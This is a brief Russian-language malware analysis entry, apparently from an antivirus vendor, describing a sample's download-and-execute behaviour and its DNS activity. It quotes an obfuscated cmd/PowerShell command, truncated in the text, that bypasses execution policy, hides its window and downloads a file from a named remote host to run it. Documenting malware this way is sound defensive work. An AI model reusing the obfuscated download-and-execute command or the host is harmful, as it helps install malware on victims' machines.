Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^OW^er^sHE^LL^.ExE ^-^e^xECu^T^i^O^n^pO^l^icy^ bYP^a^S^s -noPROfILe -wI^ND^o^WS^TYLe hI^DdE^N ^(NE^W-^oBjE^c^T ^sYSTe^M.^Ne^T.^w^EB^cL^i^Ent).DO^w^n^Lo^A^df^iLe^('http://ww...
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^OW^er^sHE^LL^.ExE ^-^e^xECu^T^i^O^n^pO^l^icy^ bYP^a^S^s -noPROfILe -wI^ND^o^WS^TYLe hI^DdE^N ^(NE^W-^oBjE^c^T ^sYSTe^M.^Ne^T.^w^EB^cL^i^Ent).DO^w^n^Lo^A^df^iLe^('http://ww...' (со скрытым окном)
